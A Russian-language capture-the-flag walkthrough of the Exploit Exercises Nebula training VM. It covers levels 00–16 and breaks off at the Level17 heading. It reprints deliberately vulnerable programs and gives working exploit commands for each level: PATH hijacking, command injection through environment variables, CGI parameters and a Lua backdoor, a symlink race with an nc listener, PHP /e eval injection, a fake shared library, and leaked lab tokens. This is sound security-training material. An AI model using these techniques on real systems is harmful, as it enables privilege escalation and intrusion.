
Всем доброго времени суток, спасибо, что читаете мои райтапы. Сегодня речь пойдёт ещё об одном сайте, который похож на VulnHub. Это Exploit Exercises. Несмотря на небольшое количество виртуалок, и их относительно давнюю публикацию, почерпнуть что-то новое можно и там. Тем более это компенсируется разнообразием и количеством уровней.
Начать предлагается с виртуальной машины под названием Nebula. Её мы сегодня и разберём.
Всего имеется 20 уровней, по следующим тематикам:
- SUID files
- Permissions
- Race conditions
- Shell meta-variables
- $PATH weaknesses
- Scripting language weaknesses
- Binary compilation failures
Для каждого уровня создан отдельный пользователь levelXX, и пользователь flagXX привилегии которого нужно получить, для того чтобы выполнить от его имени команду getflag. Начнём!
Level00
Нас просят используя find найти и запустить SUID программу пользователя flag00.
Ищем:
level00@nebula:~$ find / -user flag00 2>/dev/null /bin/.../flag00
Запускаем:
level00@nebula:~$ /bin/.../flag00 Congrats, now run getflag to get your flag! flag00@nebula:~$ getflag You have successfully executed getflag on a target account
Level01
Дан исходник уязвимого приложения, нужно выполнить getflag:
level1.c
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
Вот, что бывает когда доверяешь env :)
level01@nebula:~$ cd /tmp/ level01@nebula:/tmp$ ln -s /bin/getflag echo level01@nebula:/tmp$ PATH=/tmp:$PATH level01@nebula:/tmp$ env echo getflag is executing on a non-flag account, this doesn't count level01@nebula:/tmp$ /home/flag01/flag01 You have successfully executed getflag on a target account
Level02
Ещё один пример уязвимой программы, которая доверяет переменным окружения:
level2.c
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); }
Просто меняем $USER:
level02@nebula:~$ USER="12|getflag" level02@nebula:~$ /home/flag02/flag02 about to call system("/bin/echo 12|getflag is cool") You have successfully executed getflag on a target account
Level03
Тут сорцев нет, но есть crontab, и опасные права для директории:
writable.sh
#!/bin/sh for i in /home/flag03/writable.d/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done
level03@nebula:/home/flag03$ ls -ahl drwxrwxrwx 1 flag03 flag03 60 2017-01-12 00:30 writable.d/ -rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh* level03@nebula:/home/flag03$ echo "getflag >> /tmp/flag" > writable.d/flag.sh
Спустя некоторое время:
level03@nebula:/home/flag03$ cat /tmp/flag You have successfully executed getflag on a target account
crontab -u flag03 -l
*/3 * * * * /home/flag03/writable.sh
Level04
А тут нас просят, используя эту программу, прочитать содержимое файла token:
level4.c
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); }
level04@nebula:~$ ll /home/flag04 -rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04* -rw------- 1 flag04 flag04 37 2011-11-20 21:52 token
Раз файл не должен содержать «token», он не будет содержать «token»:
level04@nebula:~$ /home/flag04/flag04 /home/flag04/flag04 [file to read] level04@nebula:~$ /home/flag04/flag04 token You may not access 'token' level04@nebula:~$ ln -s /home/flag04/token /tmp/flag04lnk level04@nebula:~$ /home/flag04/flag04 /tmp/flag04lnk 06508b5e-8909-4f38-b630-fdb148a848a2
Level05
На этом уровне нас ждут не верно выставленные права для директории:
level05@nebula:~$ ll /home/flag05/ drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .backup/ -rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag05 flag05 3353 2011-05-18 02:54 .bashrc -rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile drwx------ 2 flag05 flag05 70 2011-11-20 20:13 .ssh/
Резервные копии это хорошо, посмотрим что там:
level05@nebula:~$ ll /home/flag05/.backup/ -rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz level05@nebula:~$ tar -xvf /home/flag05/.backup/backup-19072011.tgz .ssh/ .ssh/id_rsa.pub .ssh/id_rsa .ssh/authorized_keys
Превосходно, приватный ssh-ключ. Подключаемся и выполняем getflag:
level05@nebula:~$ ssh -i .ssh/id_rsa flag05@127.0.0.1 flag05@nebula:~$ getflag You have successfully executed getflag on a target account
Level06
В описании говорится про учетные данные из прошлых версий Unix.
level06@nebula:~$ cat /etc/passwd | grep flag06 flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
Скармливаем хеш John'у, который определяет его как слово hello. Авторизуемся и забираем «флаг»:
level06@nebula:~$ ssh flag06@127.0.0.1 flag06@nebula:~$ getflag You have successfully executed getflag on a target account
Level07
Пользователь flag07 написал своё первое приложение на Perl:
index.cgi
#!/usr/bin/perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub ping { $host = $_[0]; print("<html><head><title>Ping results</title></head><body><pre>"); @output = `ping -c 3 $host 2>&1`; foreach $line (@output) { print "$line"; } print("</pre></body></html>"); } # check if Host set. if not, display normal page, etc ping(param("Host"));
Тут у нас отсутствие фильтрации параметров в переменной $host. Проверим порт, на котором оно висит:
level07@nebula:~$ cat /home/flag07/thttpd.conf | grep port port=7007
И успешно проэксплуатируем:

Level08
Нас просят посмотреть дамп трафика и авторизоваться. Скачиваем его себе:
level08@nebula:~$ ls -lh /home/flag08 -rw-r--r-- 1 root root 8302 2011-11-20 21:22 capture.pcap $ scp level08@10.0.31.116:/home/flag08/capture.pcap ./
Посмотрим что там:

Странно что в пароле присутствуют непечатаемые символы, после извлечения HEX дампа этого пароля и некоторого преобразования, получаем такой результат:
62 => "b"; 61 => "a"; 63 => "c"; 6b => "k"; 64 => "d"; 6f => "o"; 6f => "o"; 72 => "r"; 7f => "."; 7f => "."; 7f => "."; 30 => "0"; 30 => "0"; 52 => "R"; 6d => "m"; 38 => "8"; 7f => "."; 61 => "a"; 74 => "t"; 65 => "e"; 0d => "."
Гугл быстро подсказал, что xterm использует байт 0x7f в качестве Backspace. Таким образом пароль: backd00Rmate.
Коннектимся и запускаем getflag:
$ ssh 10.0.31.116 -l flag08 flag08@nebula:~$ getflag You have successfully executed getflag on a target account
Level09
Нам доступна SUID обёртка на С для уязвимого PHP скрипта:
level9.php
<?php function spam($email) { $email = preg_replace("/\./", " dot ", $email); $email = preg_replace("/@/", " AT ", $email); return $email; } function markup($filename, $use_me) { $contents = file_get_contents($filename); $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?>
Строка $contents = preg_replace("/(\[email (.*)\])/e", «spam(\»\\2\")", $contents); довольно интересна:
- Если содержимое совпадает с регулярным выражением: "/(\[email (.*)\])/";
- Оно заменяется на функцию spam, которая в качестве аргумента принимает значение в круглых скобках. А затем выполняется
Мы можем отправить любую команду:
level09@nebula:~$ echo '[email {${system($use_me)}}]' > /tmp/eval level09@nebula:~$ /home/flag09/flag09 /tmp/eval getflag You have successfully executed getflag on a target account
Level10
Программа которая полагаясь на access() отправляет по сети любой файл:
basic.c
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
Идея проста, так как сначала проверяется доступ к запрашиваемому файлу, а уже потом он отправляется, то используя ссылки, нужно поймать момент, когда:
- Ссылка будет указывать на файл, доступ к которому имеется;
- access() проверит этот файл;
- Ссылка изменится на файл, доступа к которому у нас нет;
- Программа успешно нам его отправит
Реализуем это. Циклом меняем ссылки:
level10@nebula:/tmp$ echo "token" > /tmp/token level10@nebula:/tmp$ while true; do ln -sf /home/flag10/token flag10; ln -sf /tmp/token flag10; done
В другом окне запускаем цикл, который будет отправлять файл по ссылке:
level10@nebula:~$ while true; do /home/flag10/flag10 /tmp/flag10 10.0.31.183; done
У себя запускаем nc для прослушивания порта и вывода полученных данных:
while true; do nc -l -p 18211 > flag10; cat flag10 | grep -v token | grep -v ".oO Oo."; done
И практически сразу получаем токен:
token = 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
Используя его как пароль, логинимся под пользователем flag10:
level10@nebula:/tmp$ ssh flag10@localhost flag10@nebula:~$ getflag You have successfully executed getflag on a target account
Level11
Есть программа, которая читает STDIN и выполняет его:
level11.c
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } }
Но не всё так просто. Авторы пишут что есть, 2 решения, но как оказалось позже оба не работают. Но обо всём по порядку:
Сначала нас просят указать количество отправляемых байт, а затем в зависимости от этого количества, строка либо сразу передаётся в функцию process, либо предварительно данные копируются в память.
Функция process, XOR'ит их и затем отдаёт в system. Следовательно, нам нужно отправить строку, которая уже будет обработана XOR'ом:
flag11.py
#!/usr/bin/python cmd = "/bin/getflag\x00" length = 1024 key = length & 0xff enc = '' for i in range(len(cmd)): char_byte = ord(cmd[i]) ^ key enc += chr(char_byte & 0xff) key = (key - ord(cmd[i])) & 0xff if length != len(cmd): junk = "A" * (length - len(cmd)) print( "Content-Length: %d\n%s%s" %(length, enc, junk) ) else: print( "Content-Length: %d\n%s" %(length, enc) )
Запускаем и ничего:
level11@nebula:~$ export TEMP=/tmp level11@nebula:~$ python /tmp/flag11.py | /home/flag11/flag11 blue = 1024, length = 1024, pink = 1024 getflag is executing on a non-flag account, this doesn't count
В документации к функции system, находим это:
Не используйте system() в программах с привилегиями suid или sgid, потому что некоторые значения переменных окружения могут вызвать сбои в системе. Вместо нее рекомендуется использование семейства функций exec(3), но не execlp(3) или execvp(3). system() неправильно функционирует в программах с привилегиями suid или sgid тех систем, где /bin/sh заменено на bash версии 2, так как bash 2 обнуляет права при запуске. Debian использует измененный bash, который не производит при запуске этого действия так, как это делает sh.
Bash всех подвёл:
level11@nebula:/home/flag11$ ll /bin/sh lrwxrwxrwx 1 root root 9 2011-11-20 20:38 /bin/sh -> /bin/bash*
P.S. Проверив это на отдельно скомпилированном бинарнике, получаем тоже самое. Гугл результатов не дал, видимо авторы обновили bash, а обновить задание забыли...
Level12
Как сказано в описании: бэкдор на 50001 порту. Хм, посмотрим:
level12.lua
local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 50001)) function hash(password) prog = io.popen("echo "..password.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local line, err = client:receive() if not err then print("trying " .. line) -- log from where ;\ local h = hash(line) if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then client:send("Better luck next time\n"); else client:send("Congrats, your token is 413**CARRIER LOST**\n") end end client:close() end
И так, снова отсутствие фильтрации введённых данных. Добавим комментарий:
level12@nebula:~$ nc 127.0.0.1 50001 Password: 4754a4f4bd5787accd33de887b9250a0691dd198 # Congrats, your token is 413**CARRIER LOST**
Ок, это сработало, попробуем нечто другое: 123; getflag > /tmp/flag12 #
level12@nebula:~$ nc 127.0.0.1 50001 Password: 123 ; getflag > /tmp/flag12 # Better luck next time level12@nebula:~$ cat /tmp/flag12 You have successfully executed getflag on a target account level12@nebula:~$
Level13
Дан исходник, а самое главное вырезали, не хорошо:
level13_safe.c
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry :) printf("your token is %s\n", token); }
Извлекаем строки:
level13@nebula:~$ strings /home/flag13/flag13 8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob your token is %s
Дизассемблировав приложение в gdb, находим интересную строку:
0x080485a2 <+222>: xor $0x5a,%edx
У нас есть строка: 8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob, у нас есть ключ: 0x5a, у нас есть операция: xor. Отправляем это в Python:
>>> ''.join([chr(ord(x)^0x5a) for x in '8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob']) >>> 'b705702b-76a8-42b0-8844-3adabbe5ac58'
И успешно проходим авторизацию:
level13@nebula:~$ su flag13 Password: b705702b-76a8-42b0-8844-3adabbe5ac58 sh-4.2$ id uid=986(flag13) gid=986(flag13) groups=986(flag13) sh-4.2$ getflag You have successfully executed getflag on a target account
Level14
Дана программа, которая шифрует всё что идёт на STDIN и отправляет в STDOUT, и есть токен, который нас просят расшифровать:
level14@nebula:~$ cat /home/flag14/token 857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
Посмотрим на алгоритм в IDA:
Ну всё просто, 1 строка на Python:
>>> ''.join([chr(ord(a[i])-i) for i in range(len(a))]) >>> '8457c118-887c-4e40-a5a6-33a25353165\x0b'
Токен у нас, остался последний шаг:
level14@nebula:~$ su - flag14 Password: 8457c118-887c-4e40-a5a6-33a25353165 flag14@nebula:~$ getflag You have successfully executed getflag on a target account
Level15
Нас просят посмотреть вывод команды strace, на наличие аномалий:
level15@nebula:~$ strace /home/flag15/flag15
strace
execve("/home/flag15/flag15", ["/home/flag15/flag15"], [/* 18 vars */]) = 0
brk(0) = 0x8d3a000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773b000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7732000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x110000
mmap2(0x286000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x286000
mmap2(0x289000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x289000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7731000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb77318d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x286000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xae4000, 4096, PROT_READ) = 0
munmap(0xb7732000, 33815) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773a000
write(1, «strace it!\n», 11strace it!
) = 11
exit_group(11)
brk(0) = 0x8d3a000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773b000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7732000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x110000
mmap2(0x286000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x286000
mmap2(0x289000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x289000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7731000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb77318d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x286000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xae4000, 4096, PROT_READ) = 0
munmap(0xb7732000, 33815) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773a000
write(1, «strace it!\n», 11strace it!
) = 11
exit_group(11)
Странно что программа пытается подгрузить либы из /var/tmp/flag15/. Попробуем подсунуть ему свою libc.so.6:
#include <stdio.h> int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), vo$ { execv("/bin/getflag", NULL); return 0; }
Компилим и запускаем:
level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=vers,-Bstatic -o libc.so.6 fake_lib.c level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 You have successfully executed getflag on a target account
Level16
Очередное Perl CGI приложение, которое висит на 1616 порту:
index.pl
#!/usr/bin/env perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub login { $username = $_[0]; $password = $_[1]; $username =~ tr/a-z/A-Z/; # conver to uppercase $username =~ s/\s.*//; # strip everything after a space @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; foreach $line (@output) { ($usr, $pw) = split(/:/, $line); if($pw =~ $password) { return 1; } } return 0; } sub htmlz { print("<html><head><title>Login resuls</title></head><body>"); if($_[0] == 1) { print("Your login was accepted<br/>"); } else { print("Your login failed<br/>"); } print("Would you like a cookie?<br/><br/></body></html>\n"); } htmlz(login(param("username"), param("password")));
Содержимое $username сначала переводится в верхний регистр, а затем отправляется на исполнение через оператор ``.
Попытка, вставить команду, которая закрыла бы egrep, не увенчалась успехом. Но мы можем попробовать обойти верхний регистр с помощью метода из этой статьи:
level16@nebula:/tmp$ cat FLAG #!/bin/bash getflag > /tmp/flag16log
Переходим в браузере по ссылке:
10.0.31.116:1616/index.cgi?username=`/*/FLAG`
И выводим наш флаг:
level16@nebula:/tmp$ cat flag16log You have successfully executed getflag on a target account
Level17
Как сказано в описании: Этот скрипт слушает порт 10007 и имеет уязвимость. Очень многословно.
level17.py
